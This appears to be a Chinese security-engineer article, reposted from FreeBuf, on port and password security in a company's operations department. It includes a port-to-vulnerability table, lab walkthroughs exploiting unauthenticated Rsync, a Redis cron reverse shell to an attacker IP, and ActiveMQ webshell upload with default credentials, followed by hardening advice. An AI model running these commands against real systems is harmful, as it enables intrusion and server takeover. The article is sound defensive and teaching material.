混在运维部的安全员说“端口与口令安全”

1. 前言

先简单自我介绍一下,其实,我是一个安全工程师。现就职于某互联网金融企业负责公司整体网络安全。

刚到公司时首先是了解一些企业规则和规则制定者,当然了我的工作主要是安全。初来乍到,先了解下公司的IT资产,收集完IT资产后,做一个IP资产开放端口的梳理,端口信息的收集这是一个很重要的过程,因为渗透实战中对端口的渗透是常用手段。

端口收集过程中关注几个问题:

   1.  常见应用的默认端口

   2.  端口的banner信息

   3.  端口上运行的服务

   4.  可能存在漏洞

端口信息的获取,最为常见的应该就是nmap(端口信息比较详细)、御剑(只显示开放的端口,速度很快),也可以结合其他的主机漏洞扫描工具对端口扫描,如天镜、极光、nusses都可以扫描端口和一些漏洞。

2. 常见端口威胁

通过端口来进行渗透会很大提升渗透成功效率,在工作中发现运维人员开放了很多端口,很多网上曝过的漏洞可以找到,对于个人来说,这是个学习、实践的机会,连环境都搭好了,但对于企业来说这是个很危险的事情。

为什么有这么多端口开放,甚至有些已经关闭了的端口过段时间又会重新开启。还有些端口要求去整改,但却没有整改,这里面有很多因素,也包括人员安全意识和水平不一样。在公司也发起过安全意识培训和一些安全技术规范,但人员流动,各自专业不一样,关注点不一样。甚至一些人认为安全检查是找茬的,影响发版进度。还一个因素,运维部的安全员在执行安全管理时大部分情况是从下往上推,更尴尬的是还换了领导了。也遇到过帮别的甲方企业发现漏洞,告诉了封端口、打补丁,可是运维人员没有去整改,然后大概一个星期后就被黑客入侵了,再花一笔不小的费用让我去封端口、打补丁。一入甲方深似海。。。

在运维部这边遇到安全问题大部分是跟端口、口令相关,开发部那边的情况另说。这里例举了一些常见的端口及可能存在的安全问题,当然了,端口还是要结合服务来看。这里的端口也并不全,我一般看到端口就会去想它的服务,去百度查可能有哪些安全漏洞,大部分是从CVE、CNVD、安全厂商公证号、各大安全论坛也包括freebuf获取漏洞信息。也做过针对企业具体IP的端口、服务、软件版本的资产服务列表,这样有新的漏洞曝出来,就能很快知道哪些服务器可能有安全风险。

序号

类型

端口

软件/服务名称

可能存在的漏洞/利用方式

1

中间件

6379

Redis

1)未授权访问

2

中间件

8161

Apache Group ActiveMQ

1)远程代码执行

3

中间件

873

Rsync

1)远程代码执行

4

中间件

9001

Supervisor

1)远程命令执行漏洞。

5

中间件

4899

Radmin

1)密码爆破

2)远程命令执行 | | 6 | 中间件 | 2181 | Zookeeper | 1)未授权访问 | | 7 | 中间件 | 11211 | memcached | 1)未授权访问 | | 8 | 中间件 | 2375 | Docker | 1未授权访问 | | 9 | 中间件 | 7001/7002 | weblogic | 1)密码爆破 2)Java反序列化漏洞 3)任意文件泄漏 | | 10 | 中间件 | 8080 | Resin | 1)目录遍历 2)远程文件读取 | | 11 | 中间件 | 8080 | GlassFish | 1)弱口令 2)任意文件读取 3)认证绕过 | | 12 | 中间件 | 9990 | jboss | 1)密码爆破 2)远程代码执行 3)Java反序列化 | | 13 | 中间件 | 9043 | Websphere | 1)密码爆破 2)任意文件泄露 3)java反序列化 | | 14 | 中间件 | 80/81/443 | IIS | 1)PUT写文件 2)ms15034 3)http.sys内存下载 4)解析漏洞 5)短文件名泄漏 | | 15 | 中间件 | 80/8080 | Apache | 1)解析漏洞 2)目录遍历 3)任意文件上传 4)密码爆破 | | 16 | 中间件 | 80/8080 | Tomcat | | 17 | 中间件 | 80/8080 | Nginx | 1)整数溢出 2)目录遍历下载 3)文件类型解析漏洞 | | 18 | 中间件 | 8080/8089 | Jenkins | 1)口令爆破 2)未授权访问 3)反序列化 | | 19 | 服务类 | 161 | SNMP | 1)未授权访问 | | 20 | 服务类 | 443 | HTTPS服务 | 1)SSL心脏滴血 | | 21 | 服务类 | 2049 | NFS | 1)未授权访问 | | 22 | 服务类 | 445 | Samba-NetBIOS服务 | 1)MS17-010漏洞 2)MS06-040漏洞 3)病毒入口 | | 23 | 服务类 | 135 | RPC(远程过程调用)服务 | 1)利用RPC漏洞攻击计算机 2)病毒入口 | | 24 | 服务类 | 139 | Samba-文件和打印共享 | 1)IPC$共享后的空链接漏洞 2)病毒入口 | | 25 | 服务类 | 137 | Samba-NetBIOS 名字服务 | 1)利用RPC漏洞攻击计算机 2)病毒入口 3)暴力破解 | | 26 | 服务类 | 3389 | Windows远程连接 | 1)Shift粘滞键后门 2)密码爆破 3)利用ms12-020攻击3389端口 | | 27 | 服务类 | 22 | SSH | 1)密码爆破 2)防火墙SSH后门 3)OpenSSL漏洞 | | 28 | 服务类 | 23 | telnet | 1)使用明文传输技术-嗅探 2)暴力破解 | | 29 | 服务类 | 53 | DNS | 1)远程溢出 2)DNS欺骗攻击 3)拒绝服务攻击 4)DNS域传送信息泄露 5)DNS劫持 6)DNS缓存投毒 7)DNS隧道技术刺穿防火墙 | | 30 | 服务类 | 389 | LDAP | 1)注入 2)未授权访问 3)弱密码 | | 31 | 数据库 | 1521 | oracle | 1)各种版本的漏洞 2)密码爆破 3)远程溢出 | | 32 | 数据库 | 1433 | SQLServer | 1)各种版本的漏洞 2)密码爆破 3)远程溢出 | | 33 | 数据库 | 3306 | mysql | 1)各种版本的漏洞 2)密码爆破 3)自定义函数 | | 34 | 其他软件 | 5631 | symantecpcanywhere | 1)各种版本的漏洞 | | 35 | 其他软件 | 5900/5900+ | VNC | 1)密码验证绕过 2)拒绝服务攻击 3)权限提升 4)密码爆破 | | 36 | 其他软件 | 8649 | ganglia | 1)未授权访问 | | 37 | 其他软件 | 5632 | Pcanywhere | 1)提权控制服务: 2)拒绝服务攻击: 3)代码执行 | | 38 | 其他软件 | 21 | FTP | 1)远程溢出 2)暴力破解 3)匿名访问—未授权访问 4)配置不当,直接 cd / && dir 5)使用明文传输技术-嗅探 6)后门技术 7)跳转攻击 | | 39 | 其他软件 | 81 | ipcam | 1)暴力破解 2)可以基于NTP的反射和放大攻击 3)NTP反射型doos攻击 |

3. 端口漏洞测试

端口漏洞也是挺多的,以下3种漏洞在企业内网比较常见,在外网一般都是做了毕竟严端口控制,外网端口控制简单很多,不像内网架构那么复杂。

3.1 Rsync未授权访问漏洞

3.1.1 漏洞信息

漏洞名称:Rsync未授权访问漏洞

漏洞详情:Rsync因配置不当,导致未授权访问,可未授权上传、下载服务器文件。

Rsync 是一个通过检查文件的时间戳和大小,来跨计算机系统高效地传输和同步文件的工具。通常情况下,管理程序在启动Rsync 服务后,会直接运行传输任务。如果 Rsync 服务未经过安全加固,出现未授权访问等安全问题;其直接后果是传输数据裸露在网络中,可以被任何人访问获取,带来严重的数据泄露风险。

漏洞等级:高危

3.1.2 漏洞测试

一、查看泄露文件

root@kali:~# rsync 192.168.3.XXX::

root@kali:~# rsync 192.168.3.XXX::routing

查看routing目录

二、下载文件

下载routing目录中MFPRDAPP_192.168.3.xxx_report_OS_2018-01-14-01:05:01.txt文件到攻击电脑的root目录:

root@kali:~#rsync -avz 192.168.3.xxx::routing/MFPRDAPP_192.168.3.xxx_report_OS_2018-01-14-01:05:01.txt/root

可以看到成功下载文件到攻击电脑root目录了:

三、上传文件

把攻击电脑root目录中ylr180119.jsp文件上传到靶机服务器routing目录:

root@kali:~# rsync -avz ylr180119.jsp 192.168.3.xxx::routing

登录192.168.3.xxx服务器,看到ylr180119.jsp文件成功上传了:

后续的操作姿势看个人喜好了,这里只是验证这个漏洞可以被利用入侵服务器。

3.2 Redis服务器远程执行漏洞

3.2.1 漏洞信息

漏洞名称:Redis服务器远程执行漏洞

利用原理:主要是通过无密码登录redis,然后往redis缓存写入数据库,再通过redis缓存保存到redis服务器任意目录。

漏洞等级:高危

3.2.2 漏洞测试

为了验证漏洞影响,搭建了测试redis服务器,进行漏洞攻击测试。

搭建测试环境:

1)redis服务器安装redis_version:2.8.17 2)redis服务器(靶机)IP:192.168.20.105 3)攻击电脑,IP:192.168.20.102

测试过程(利用反弹shell控制服务器):

1、由于redis服务器默认是没有设redis访问密码,攻击电脑可直接向rides服务器缓存写入一个反弹shell,每分钟执行一次

root@kali:~/redis-2.8.17/src# echo -e "\n\n*/1 * * * * /bin/bash -i >&/dev/tcp/192.168.20.102/8880>&1\n\n"|/root/redis-2.8.17/src/redis-cli -h 192.168.20.105 -p6379 -x set 1

2、登录redis服务器redis服务,进行备份/创建一个/var/spool/cron目录root文件

     root@kali:~/redis-2.8.17/src# ./redis-cli -h 192.168.20.105 -p 6379        config set dir/var/spool/cron       config set dbfilename root       save

3、攻击电脑上监听反弹shell,成功连接了redis服务器,可执行任意操作

当然还有其他的利用姿势,如:

1)写入SSH的key,然后利用key远程登录; 2)替换redis服务器passwd文件; 3)写入网马(前提需要找到网站路径);

3.3 ApacheActiveMQ远程代码执行漏洞

3.3.1 漏洞信息

漏洞名称:Apache ActiveMQ远程代码执行漏洞

利用原理:主要是通过破解账号密码登录Apache ActiveMQ,然后往Apache ActiveMQ目录写入数据库,再通过MOVE保存数据到服务器任意目录。

漏洞等级:高危

3.3.2 漏洞测试

一、上传小马

首先 PUT 一个 jsp 的 Webshell 到 fileserver 目录

1、修改PUT /fileserver/%20/%20为PUT/fileserver/xiaoma.jsp

2、在下方空白处填写小马内容

3、访问http://192.168.20.101:8161/fileserver/xiaoma.jsp,输入账号密码admin/admin登录成功,看到小马上传成功

二、移动小马到tomcat目录

MOVE/fileserver/xiaoma.jsp Destination:file:///root/apache-tomcat-7.0.69/webapps/ROOT/xiaoma2.jsp

三、使用小马上传大马

使用小马客户端上传大马shell.jsp

四、访问大马成功

可以使用大马去管理服务器为所欲为…为所欲为…

4. 关于端口与口令安全

纵观端口与口令安全威胁,很多情况是因为默认配置有着诸多不足,而运维同学为了简单,都直接使用了默认配置。对于端口与口令的安全使用,建议可以参考如下措施:

1、采用白名单形式配置主机防火墙/网络防火墙访问控制策略,设置仅允许某IP访问服务某端口。 2、关闭非必要端口,尤其是非必要端口不要开放外网访问。 (很多木马工具也有特定的端口,一些端口由于配置原因容易被恶意人员利用。) 3、设置强壮口令,并定期修改口令。 (密码爆破技术最简单,往往采用字典和社工结合能进行最大效果的爆破。) 4、尽量采用密码防爆破,配合使用如限制次数、验证码等。 5、重要系统尽量使用双因子验证。 6、不要以明文方式传输账号密码。 7、远程运维尽量采用VPN连接方式。 8、尽量以非管理员用户运行服务程序。 9、及时升级版本、打补丁。

强壮口令是指有以下特征的密码:

1) 同时具备大写和小写字符; 2) 同时具备字母、数字和特殊符号,特殊符号例如:!@#$%^&*()_+|~-=`{}[]:”;’<>?,./) ; 3) 8个字符或者以上; 4) 不是字典上的单词或者汉语拼音; 5) 不基于个人信息、名字和家庭信息。

5. 关于安全整改

当收集完端口信息后,我发现很多问题,跟运维人员、开发人员聊过人生。发现运维人员、开发人员不太懂安全,而安全人员也不太懂运维和开发,至少我之前是这样的。拿端口和弱口令来说,对于安全人员来说,发现了这个问题一般的建议:改口令、关端口;限制IP访问;打补丁/升级版本;删除一些配置文件。实际情况中运维或开发会反馈:

1)口令更改会涉及一些应用调用,需要同时改好几个地方的配置; 2)有其他系统需要调用这些端口,整改起来很麻烦; 3)linux防火墙还好限IP,windows防火墙有不少坑,网络防火墙限IP可能要改好几个防火墙,而且防火墙策略已经很乱; 4)一些补丁打不上,版本不能升不了级,甚至不能升级和打补丁; 5)这个问题好像没什么影响,我慢点改,最后可能不了了之; 6)有没有更简单的方法,我选更简单的。

我只是个安全工程师,招入职我的领导升上去了,坚强的后盾没了,还好这么多年的工作经验在运维和开发都懂一些,安全工作也还是要继续:

1)把整改的方法一一分析,讨论可行性,甚至还把一些操作步骤给做成手册,甚至还写过杀毒软件的安装和配置使用手册; 2)把问题风险列出来,甚至进行成功渗透,必要时发个安全通告、安全预警之类,主要是要引起对问题的重视,同时也要避免出问题担责。

漏洞成功利用了,整改操作手册也有了,各位大佬同意整改了,然后就是漏洞跟踪形成闭环。

原文发布于微信公众号 - FreeBuf(freebuf)

原文发表时间:2018-03-19

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏张戈的专栏

SEO分享:让百度删除不想收录的域名或快照的最快方法

个别网站可能会出现以下类似困扰: ①、百度收录了自己不想收录的域名,造成内容重复,比如张戈博客,百度近一半的收录是 www 的域名,而且收录的内容还是重复的!实...

1K7
来自专栏企鹅号快讯

2017年度最不安全密码报告,看看你的密码安全吗?

密码管理安全公司SplashData发布了2017年度密码报告,对网上泄露的密码进行了分析,找出最不安全的100个弱密码。密码分析的数据来源于500万外泄的密码...

2037
来自专栏FreeBuf

用手机从锁定的计算机中偷取凭证信息

简介 Room362之前发布从锁定计算机中盗取凭证信息一文,其中的方法很棒。这种攻击方式之所以能成功,主要原因在于系统访问设备的时候,会自动加载设备驱动,即便计...

2128
来自专栏FreeBuf

我的天!又一个僵尸网络开源了BYOB僵尸网络开源代码

BYOB是一个开源项目,该项目给研究人员和开发者提供了一个能够搭建和操作基础僵尸网络的框架。大家都知道,僵尸网络每年都会感染数百万台联网设备,为了研究现代僵尸网...

2733
来自专栏耕耘实录

Firefox用户,一个不小心你们的密码可能已经被泄露

火狐(Firefox)浏览器是极客君比较常用的一个浏览器,在某次使用中,本人发现一个很有可能泄露使用者用户名及密码的缺陷,特此分享一下!

1263
来自专栏编程

(4)Superset权限使用场景

如前文所述,Superset初始化权限之后,创建5个角色,分别为Admin,Alpha,Gamma,sql_lab以及Public。Admin,Alpha和Ga...

2.2K10
来自专栏区块链

我们不一样的黑客渗透教程第三课,CVE20177269实战测试

很多人想学黑客知识,却不知如何入门,网上的教程也太繁琐,小白看了也头疼,那还是我来写黑客系列入门教程吧,跟着我做,你能黑客入门的。我已经写了两篇了,第1篇在 《...

3796
来自专栏晨星先生的自留地

提权(1)信息收集

3674
来自专栏从流域到海域

Apache libcloud中对CloudStack的支持

原文地址:https://dzone.com/articles/cloudstack-support-apache

2586
来自专栏三丰SanFeng

浅谈DNS

什么叫域名解析 域名解析是把域名指向网站空间IP,让人们通过注册的域名可以方便地访问到网站一种服务。IP地址是网络上标识站点的数字地址,为了方便记忆,采用域名来...

7657

扫码关注云+社区

领取腾讯云代金券